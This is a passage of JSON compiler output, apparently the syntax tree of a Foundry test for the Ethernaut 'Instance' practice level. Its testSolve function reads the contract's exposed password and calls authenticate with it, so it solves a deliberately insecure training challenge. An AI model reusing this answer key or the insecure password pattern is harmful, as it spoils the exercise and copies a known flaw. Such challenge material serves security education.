payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62035,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"848:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62037,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"851:5:136","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"848:8:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"848:26:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62041,"nodeType":"ExpressionStatement","src":"848:26:136"},{"expression":{"arguments":[{"id":62045,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62004,"src":"899:5:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62042,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"885:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62044,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"888:10:136","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"885:13:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62046,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"885:20:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62047,"nodeType":"ExpressionStatement","src":"885:20:136"},{"expression":{"id":62052,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62048,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61999,"src":"915:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62050,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62004,"src":"954:5:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62049,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"927:26:136","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"927:33:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"915:45:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62053,"nodeType":"ExpressionStatement","src":"915:45:136"},{"assignments":[62056],"declarations":[{"constant":false,"id":62056,"mutability":"mutable","name":"factory","nameLocation":"986:7:136","nodeType":"VariableDeclaration","scope":62107,"src":"970:23:136","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"},"typeName":{"id":62055,"nodeType":"UserDefinedTypeName","pathNode":{"id":62054,"name":"InstanceFactory","nameLocations":["970:15:136"],"nodeType":"IdentifierPath","referencedDeclaration":53554,"src":"970:15:136"},"referencedDeclaration":53554,"src":"970:15:136","typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}},"visibility":"internal"}],"id":62061,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"996:19:136","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_InstanceFactory_$53554_$","typeString":"function () returns (contract InstanceFactory)"},"typeName":{"id":62058,"nodeType":"UserDefinedTypeName","pathNode":{"id":62057,"name":"InstanceFactory","nameLocations":["1000:15:136"],"nodeType":"IdentifierPath","referencedDeclaration":53554,"src":"1000:15:136"},"referencedDeclaration":53554,"src":"1000:15:136","typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}}},"id":62060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"996:21:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}},"nodeType":"VariableDeclarationStatement","src":"970:47:136"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62068,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62056,"src":"1065:7:136","typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}],"id":62067,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1057:7:136","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62066,"name":"address","nodeType":"ElementaryTypeName","src":"1057:7:136","typeDescriptions":{}}},"id":62069,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1057:16:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62065,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1051:5:136","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1051:23:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62062,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61999,"src":"1027:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1037:13:136","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1027:23:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1027:48:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62072,"nodeType":"ExpressionStatement","src":"1027:48:136"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62073,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1085:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1088:9:136","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1085:12:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1085:14:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62077,"nodeType":"ExpressionStatement","src":"1085:14:136"},{"expression":{"arguments":[{"id":62081,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62006,"src":"1124:6:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62078,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1110:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62080,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1113:10:136","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1110:13:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1110:21:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62083,"nodeType":"ExpressionStatement","src":"1110:21:136"},{"expression":{"id":62100,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62084,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1141:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":62089,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61999,"src":"1189:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62093,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62056,"src":"1214:7:136","typeDescriptions":{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_InstanceFactory_$53554","typeString":"contract InstanceFactory"}],"id":62092,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1206:7:136","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62091,"name":"address","nodeType":"ElementaryTypeName","src":"1206:7:136","typeDescriptions":{}}},"id":62094,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1206:16:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62090,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1200:5:136","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1200:23:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":62096,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1225:11:136","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":62088,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1169:19:136","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":62097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1169:68:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62087,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1161:8:136","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62086,"name":"address","nodeType":"ElementaryTypeName","src":"1161:8:136","stateMutability":"payable","typeDescriptions":{}}},"id":62098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1161:77:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62085,"name":"Instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53503,"src":"1152:8:136","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Instance_$53503_$","typeString":"type(contract Instance)"}},"id":62099,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1152:87:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"src":"1141:98:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"id":62101,"nodeType":"ExpressionStatement","src":"1141:98:136"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62102,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1249:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62104,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1252:9:136","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1249:12:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62105,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1249:14:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62106,"nodeType":"ExpressionStatement","src":"1249:14:136"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"677:5:136","parameters":{"id":62007,"nodeType":"ParameterList","parameters":[],"src":"682:2:136"},"returnParameters":{"id":62008,"nodeType":"ParameterList","parameters":[],"src":"692:0:136"},"scope":62169,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62129,"nodeType":"FunctionDefinition","src":"1522:137:136","nodes":[],"body":{"id":62128,"nodeType":"Block","src":"1549:110:136","nodes":[],"statements":[{"expression":{"arguments":[{"id":62115,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62006,"src":"1573:6:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62112,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1559:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62114,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1562:10:136","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1559:13:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1559:21:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62117,"nodeType":"ExpressionStatement","src":"1559:21:136"},{"expression":{"arguments":[{"arguments":[{"id":62120,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61999,"src":"1622:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62123,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1641:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}],"id":62122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1633:7:136","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62121,"name":"address","nodeType":"ElementaryTypeName","src":"1633:7:136","typeDescriptions":{}}},"id":62124,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1633:17:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62119,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1602:19:136","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1602:49:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62118,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1590:11:136","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:62:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62127,"nodeType":"ExpressionStatement","src":"1590:62:136"}]},"documentation":{"id":62109,"nodeType":"StructuredDocumentation","src":"1454:63:136","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1531:8:136","parameters":{"id":62110,"nodeType":"ParameterList","parameters":[],"src":"1539:2:136"},"returnParameters":{"id":62111,"nodeType":"ParameterList","parameters":[],"src":"1549:0:136"},"scope":62169,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62168,"nodeType":"FunctionDefinition","src":"1714:265:136","nodes":[],"body":{"id":62167,"nodeType":"Block","src":"1742:237:136","nodes":[],"statements":[{"expression":{"arguments":[{"id":62136,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62006,"src":"1766:6:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62133,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1752:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62135,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1755:10:136","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1752:13:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62137,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1752:21:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62138,"nodeType":"ExpressionStatement","src":"1752:21:136"},{"assignments":[62140],"declarations":[{"constant":false,"id":62140,"mutability":"mutable","name":"pw","nameLocation":"1798:2:136","nodeType":"VariableDeclaration","scope":62167,"src":"1784:16:136","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":62139,"name":"string","nodeType":"ElementaryTypeName","src":"1784:6:136","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":62144,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62141,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1803:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"id":62142,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1812:8:136","memberName":"password","nodeType":"MemberAccess","referencedDeclaration":53391,"src":"1803:17:136","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_string_memory_ptr_$","typeString":"function () view external returns (string memory)"}},"id":62143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1803:19:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"1784:38:136"},{"expression":{"arguments":[{"id":62148,"name":"pw","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62140,"src":"1854:2:136","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":62145,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1832:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"id":62147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1841:12:136","memberName":"authenticate","nodeType":"MemberAccess","referencedDeclaration":53494,"src":"1832:21:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) external"}},"id":62149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:25:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62150,"nodeType":"ExpressionStatement","src":"1832:25:136"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62152,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1878:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"id":62153,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1887:10:136","memberName":"getCleared","nodeType":"MemberAccess","referencedDeclaration":53502,"src":"1878:19:136","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":62154,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1878:21:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62151,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1867:10:136","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1867:33:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62156,"nodeType":"ExpressionStatement","src":"1867:33:136"},{"expression":{"arguments":[{"arguments":[{"id":62159,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61999,"src":"1942:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62162,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62002,"src":"1961:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}],"id":62161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1953:7:136","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62160,"name":"address","nodeType":"ElementaryTypeName","src":"1953:7:136","typeDescriptions":{}}},"id":62163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1953:17:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62158,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1922:19:136","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62164,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1922:49:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62157,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1911:10:136","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62165,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1911:61:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62166,"nodeType":"ExpressionStatement","src":"1911:61:136"}]},"documentation":{"id":62130,"nodeType":"StructuredDocumentation","src":"1665:44:136","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1723:9:136","parameters":{"id":62131,"nodeType":"ParameterList","parameters":[],"src":"1732:2:136"},"returnParameters":{"id":62132,"nodeType":"ParameterList","parameters":[],"src":"1742:0:136"},"scope":62169,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":61993,"name":"Test","nameLocations":["365:4:136"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"365:4:136"},"id":61994,"nodeType":"InheritanceSpecifier","src":"365:4:136"},{"baseName":{"id":61995,"name":"Utils","nameLocations":["371:5:136"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"371:5:136"},"id":61996,"nodeType":"InheritanceSpecifier","src":"371:5:136"}],"canonicalName":"TestInstance","contractDependencies":[49101,53554,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62169,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestInstance","nameLocation":"349:12:136","scope":62170,